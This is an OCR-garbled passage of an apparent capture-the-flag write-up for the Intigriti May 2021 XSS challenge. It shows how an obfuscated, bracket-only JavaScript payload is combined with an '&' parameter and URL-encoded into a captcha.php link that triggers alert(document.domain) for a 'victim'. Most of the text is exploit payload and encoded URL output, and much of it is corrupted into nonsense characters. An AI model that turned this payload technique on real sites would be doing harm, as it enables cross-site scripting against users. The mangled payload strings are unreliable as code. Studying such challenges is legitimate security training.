llenge-0521.intigriti.i c Y 5B%E 2B%5E 3 Y Y i ( Update :

328 + E =920 challenge-0521.intigriti.io says
i

Elements  Console < man Me Application  Security
Filter Al le s

1+6]+[e+[1] [+[11 [+[1+131+[[1 [[11+[1] [+[1] [+ [1+01+ [ [1+{}] [+[1] [+[1+51+ [ [1+{}] [+[1] [+[1+6]+[ [1+{}] [+[1] [+
[+[1+18]1+ [ [1+{}] [+[11 [+[1+6]+[e+[1] [+[1] [+[1+13]1+[[1 [[11+[1] [+[1] [+[1+@1+[ [1+{}] [+[1] [+ [1+5]+ [ [1+{}] [+[1] [+
[011+01] [+011 [+[1+31+[e+[1] [+[11 [+[1+13]+ [ [1+{}] [+ [1] [+[1+61+ [ [ [L[TL11+[11 [+011 [+[1+41+ 001 [011+ 010 [+ (1] [+
41+ [ [01+000 (+001 [+ 01451+ 001 L0011+ 000 [+ 010 [+ 01461+ [0 [O11+ 010 [+ 0] [+ 01421+ [1 1+ 011 [+ 11 [+[1+1413}$°

[0+ [+[11 L

+[1451+ [[1+(}] [+[1] [+[1+1]+[ [T [[1]+[]] 4011 [+[1+18]+ [ [1+{}] [+]]
«114[e¢[]][~[]%[

1

10

1

0141311 [L0+{3] [+[1] [+ 11451+ [ [1+{}] 01 [+01] [+[1+1] +[e+[1]1 [
[+[1+1]+[e+[11 [+[1] [+[1+13]]" $${ 1+[e+[11 [+[1] [+[1+21]
T +[1+61+[[1 [[11+01] [+[1] [+[1+2]+ +1+ [0 IO L+ [+01T 0

[+[
(1]
+61+[[1+{}] [+[ [
+51+ 011 [111+01 [+

1

+
+
+

Now lets test again if we can combine this with the number upfront that the challenge automatically
generates so we still get the alert to pop.

After some attempts I was able to pop the box by using an “&” between the number and our
payload. This means if we set the “b” parameter to “&” we replace the “+” and are able to pop the
alert box from within the challenge itself!

= (@ @& challenge-0521.intigriti

328+ =920 challenge-0521.intigriti.io says
1

Console ~ Sources  Network  Performance  Memory  Application & y Lighthouse
L All levels v sues

+[1+1]+[e+[1] [+[1] [+[1+181+[[1+{}] [+[1] [+[1+6]+[e+[1] [+[1] [+[1+13]+[ (1 [[11+[1] [+[1] [+[1+0]+[ [1+{}] [+

> evall 328 &|[1[[[1+{}] [+[1] [+[1+5]+[[1+{}] [+[ +
I J+L0 [011+01] [+01] [+[1+1]+[e+ [1] [+[1] [+[1+18]+ [ [1+{}] [+[1] [+[1+6]+[e+[1] [+[1] [+ [1+13]+[[1 [[11+[1] [+[
1

1
[+[1TTFITFII+ [e+[1] [+[1] [+[1+131 1 [[[1+{}]1 [+[1]
[+[17 [+[1+6]+ [ [1+{}] [+[1] [+[1+1]+[e+[1] [+[1] [+
[+01] [+ 1451+ 01 L0111+ 000 [+ 011 [+ 1461+ (1 [[11+111
)

T0+[0+11+ L L011+0
[+[1+5]1+ [ [1+{}] [+[
[ [ 1[+011 [+ 1411+ [e+[11 [+[1] [+[1+22]+ [ [T [[11+[11 [+01] [+[1+3]+[e+[11 [+[1] [+[1+13]1+ [ [1+{}] [+[1] [+[1+6]+[[ 1 +[1+41+[[1[[11+[1]
1 11 10+01+131+3+ [0 LO01 D01+ 000 [+ 010 [+ [1+41+ 001 L0 T+ 001 [+ 000 [+ [1+51+ L0 [111+010 [+ 011 [+ 1461+ 11 [[11+011 [ 1 [+[11[+[1+14]}$

141311 $${ [+1]

1
1
1
[+11 [+[1+2]+ 11+

110
10
11+
+[1




Alright, at this point we know following
- parameter b must be equal to “&” or URL encoded this becomes %26
- parameter ¢ must be our payload URL encoded and this becomes:

%5B%5D%5B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B
%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5B%5B%5D%5B%5B%5D
%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D%5B
%2B%5B%5D%5D%5B%2B%5B%5D%2B18%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D
%5B%2B%5B%5D%2B6%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B13%5D
%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B0%5D%2B
%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B%5B%5D%2B%7B
%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B
%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D %5B%2B%5B%5D
%2B13%5D%5D%5B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B
%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5B%5B%5D%5B%5B
%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D
%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B18%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D
%5D%5B%2B%5B%5D%2B6%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D
%2B13%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D
%2B0%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B
%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B%5D%2B%7B%7D
%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D
%5B%2B%5B%5D%2B13%5D%5D%6 0%24%24% 7 B%20%5B%2B%5B%5D%5B%5B%5D%5D%2B%5B
%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D
%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B21%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B
%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B3%5D%2B%5Be%2B%5B%5D%5D%5B
%2B%5B%5D%5D%5B%2B%5B%5D%2B13%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B
%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B%5D%5B%5B%5B%5D%5B%5B%5D%5D%2B
%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B4%5D%2B%5B%5B%5D%5B%5B%5D
%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B%5B%5D%5B
%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B
%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B2%5D%2B
%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B13%5D%2B1%2B%5B
%5B%5D%5B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B
%5D%2B4%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B
%2B%5B%5D%2B5%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D
%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B
%5B%5D%5D%5B%2B%5B%5D%2B2%5D%2B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D
%5D%5B%2B%5B%5D%2B14%5D%7D%24%6 0%60%60

é
753 &[0+ = 822

> C & challenge-0521.intigriti.io/captcha.fhp?b=%2€

Remark: The URL is delivered to the victim but the victim still needs to click the submit
button! There is no way around the submit button for this challenge.



With an “alert(1)” XSS injection working it is only a small step to pop the domain
“alert(document.domain)”as our dictionary already contains all necessary characters to do this. The
Javascript payload becomes this:

OO+ OIS IO+ DI O+ OO+ OO O L (e [T+ O+ 281+ [T+ T+H[]
(+{+6]+[e+[TI[+1[+[1+ 131+ TN+ O+HOTH IO+ OO+ 51+ I+ LI+ +61+ [T+
(I O+ (e D0 OTTH O+ B3I+ O+ S0+ CHEH O O+ DO+ OO
1]+ [e+ [N+ N+ 181+H [+ T+ 1+61+[e+ [T+ LT+ T+ 13+ LT+ O+ O+ 01+ [+ [+
(OS5I GO+ 6T+ T DT+ O+ 1+ e+ [T+ 1+ 1+13]]

“SS{ OO+ L+ e+ TN+ O+2 0+ L0001+ 01000+ 0+ 31+ Te+ [N+ O10+(1+ 131+
OO+ O+6 1+ OO+ D+ O+ 41+ O+ D O+S 1+ 0001+ 010+ O+6 I+ T T+
(OO 21+ O+ D OO BB LT+ OO0 O 20+ 0+ OO+ 2O+ OO
S+ O+ 1+01+ [e+ [T+ I+ [+23 1+ [+ O+ O+ 31+ O+ TN+ OO+ L+
(I+01+1+6]+[11e100+[11e100]+ [T+ O+ NN O+ 21+ O+ O+ 1+ 1]+ [e+[1]
(IO 231+ O+ O+ O O+ U+ O O+ OO S T+ O+ O+ O+ O+ DO T+
U0+ OO+ I+ DO+ H O+ 6 1+ LD+ DT+ O O+ 21+ O+ O+ O
[1+14]}$™

80& L J= 243 Submit challenge-0521.intigriti.io says

challenge-0521.intigriti.io

[+[1+61+[[1+{}] [+[1] [+
T+[1+51+ [0+ [+[1] [+

+0T [+ [+[1+41+ 11 [T+ 000 [+[11 [ + + +[146]1+[[1[[11+[11 [+[1]
[+[1+231+[ 01 [[1]1+[1] {+[]J [+[1+31+ 01 [ +[1] [+[1+ [%4{)]{4[]] [+[1+6]+
1001+ +

+[T [+ [+01+51+ [0 LOTT+011 [+ 011 [+[1+1]+ 1 +1+41+ 111 [111+011 [+

We need to URL encode this:

%5B%5D%5B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D
%5D%5B%2B%5B%5D%2B1%5D%2B%5B %5B %5D%5B%5B%5D%5D%2B%5B%5D%5D%5B %2B%5B %5D%5D%5B %2B%5B%5D%2B1%5D%2B%5Be%2B
%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B18%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D
%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B %2B %5B %5D%2B13%5D%2B %5B %5B %5D%5B%5B%5D%5D%2B%5B %5D%5D%5B %2B%5B%5D
%5D%5B%2B%5B%5D%2B0%5D%2B%5B %5B %5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B %2B%5B %5D%2B5%5D%2B%5B %5B %5D%2B%7B%7D
%5D%5B%2B%5B%5D%5D%5B %2B %5B %5D%2B6%5D%2B %5B %5B %5D%2B%7B%7D%5D%5B%2B%5B %5D%5D%5B %2B%5B%5D%2B1%5D%2B%5Be
%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B13%5D%5D%5B%5B%5B%5D%2B%7B %7D%5D%5B %2B %5B %5D%5D%5B %2B %5B %5D
%2B5%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5B %5B %5D%5B%5B%5D%5D%2B%5B%5D%5D
%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B %5D%5D%5B %2B %5B %5D%5D%5B %2B %5B %5D%2B 18%5D%2B%5B %5B%5D%2B
%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5Be%2B %5B %5D%5D%5B %2B %5B %5D%5D%5B%2B%5B%5D%2B 13%5D%2B%5B
%5B%5D%5B%5B%5D%5D%2B %5B %5D%5D%5B %2B %5B %5D%5D%5B %2B%5B %5D%2B0%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B %2B%5B%5D
%5D%5B%2B%5B%5D%2B5%5D%2B%5B %5B %5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B %2B%5B %5D%2B6%5D%2B%5B %5B %5D%2B%7B%7D
%5D%5B%2B%5B%5D%5D%5B %2B %5B %5D%2B1%5D%2B %5Be%2B%5B%5D%5D%5B%2B%5B%5D %5D%5B%2B%5B%5D%2B13%5D%5D
9%060%24%24%7B%20%5B%2B%5B%5D%5B%5B%5D%5D%2B%5B %5D%2B%5B%5D%5D%5B %2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B
%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B21%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B
%5B%5D%2B3%5D%2B%5Be%2B%5B%5D%5D%5B %2B %5B %5D%5D%5B %2B %5B %5D%2B 13%5D%2B%5B %5B %5D%2B%7B%7D%5D%5B%2B%5B%5D
%5D%5B%2B%5B%5D%2B6%5D%2B%5B %5B %5D%5B%5B%5B%5D%5B %5B %5D%5D%2B %5B %5D%5D%5B %2B %5B %5D%5D%5B %2B%5B %5D
%2B4%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B %2B %5B %5D%2B5%5D%2B %5B %5B %5D%5B%5B%5D%5D
%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B
%2B%5B%5D%2B2%5D%2B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B %5D%2B13%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B
%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B2%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D
%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B %5B %5D%5D%5B %2B %5B %5D%2B5%5D%2B%5B %5B %5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B
%5B%5D%5D%5B%2B%5B%5D%2B0%5D%2B%5Be%2B%5B %5D%5D%5B %2B %5B %5D%5D%5B %2B %5B %5D%2B23%5D%2B%5B%5B%5D%5B%5B%5D
%5D%2B%5B%5D%5D%5B%2B %5B %5D%5D%5B %2B %5B %5D%2B3%5D%2B%5B%5B%5D%5B%5B %5D%5D%2B%5B%5D%5D%5B %2B%5B%5D%5D
%5B%2B%5B%5D%2B1%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B %2B %5B %5D%5D%5B %2B%5B %5D%2B6%5D%2B%5B11e100%2B%5B11e100%5D
%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B1%5D%2B%5B %5B %5D%5B%5B%5D %5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D
%2B2%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B
%2B%5B%5D%2B23%5D%2B%5B%2B%5B%5D%5B %5B %5D%5D%2B %5B %5D%2B%5B%5D%5D%5B%2B%5B %5D%5D%5B%2B%5B%5D%2B1%5D%2B
%5B%5B%5D%5B%5B%5D%5D%2B %5B %5D%5D%5B %2B %5B %5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D
%5D%5B%2B%5B%5D%5D%5B %2B%5B %5D%2B1%5D%2B %5B %5B %5D%5B%5B%5B%5D%5B %5B %5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D
%5B%2B%5B%5D%2B4%5D%2B%5B%5B%5D%5B %5B %5D%5D %2B %5B %5D%5D%5B %2B%5B %5D%5D%5B %2B%5B%5D%2B5%5D%2B%5B%5B%5D
%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B
%5B%5D%5D%5B%2B%5B%5D%2B2%5D%2B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B14%5D %7D%24%60%60%60



The final URL to be delivered to our victim (Use copy and paste in your URL bar):

https://challenge-0521.intigriti.io/captcha.php?b=%268&c=%5B%5D%5B %5B%5B %5D %2B%7B%7D%5D%5B%2B%5B%5D %5D%5B%2B %5B%5D%2B5%5D%2B
%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B %5B%5D%5D%5B%2B%5B

%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B18%5D%2B%5B%5B%5D%2B%7B%7D%5D
%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5Be%2B%5B%5D %5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B13%5D%2B%5B%5B%5D%5B
%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B %2B %5B %5D%2B0%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B
%5B%5D%2B5%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B
%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B13%5D%5D%5B%5B%5B%5D%2B%7B
%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B
%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B%5B%5D%5D%5B%2B%5B%5D%5D
B%2B%5B%5D%2B18%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B6%5D%2B%5Be%2B%5B%5D%5D%5B%2B
%5B%5D%5D%5B%2B%5B%5D%2B13%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B0%5D%2B

%SB%SD%ZBG%SD%ZB%SB%SB%SD%2B°/g7B°/g7D°/gSD°/gSB°/g2B°/g5B°/95D°QSD%SB%ZB%SB%SD%ZB1%SD%ZB%SBe°/g2B%5B°/95D°/95D%5B%2B%SB%SD

D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5DY 2B %5DY 2B° B%5B%5D%5B%5B%5B%5D%5B%5B%5D%5DY 2B° BY D0 D0 B
%ZB%SB%SD%SD%SB%ZB%5B%5D%2B4%5D%2B%5B%5B%SD%SB%SB%SD%SD%ZB%SB%SD%SD%SB%ZB%5B%5D%5D%5B%2B%SB%SD%ZBS%SD
DO

%2B23%5D%2B%SB%SB%SD%SB%SB%SD%SD%ZB%SB%SD%SD%SB%ZB%5B%5D%5D%5B%2B%5B%5D%2B3%5D%2B%SB%SB%SD%SB%SB%SD%SD
%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5B%5B %5D%2B%7B%7D%5D%5B%2B%5B%5D %5D%5B%2B%5B%5D
%2B6%5D%2B%5B11e100%2B%5B11e100%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B1%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D
%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B2%5D%2B%5B%5B%5D%2B%7B%7D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5Be%2B
%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B23%5D%2B%5B%2B %5B%5D%5B%5B%5D%5D%2B%5B %5D%2B%5B%5D%5D%5B%2B%5B
%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5B%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B5%5D%2B%5B
%5B%5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B1%5D%2B%5B%5B%5D%5B%5B %5B%5D%5B%5B%5D%5D

%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B%2B%5B%5D%2B4%5D%2B%5B%5B %5D%5B%5B%5D%5D%2B%5B%5D%5D%5B%2B%5B%5D%5D%5B

%2B%5B%5D%2B5%5D%2B%5B%5B%5D%5B%5B %5D %5D%2B%5B%5D%5D%5B%2B %5B%5D%5D%5B%2B %5B%5D%2B6%5D%2B%5B%5B%5D%5B
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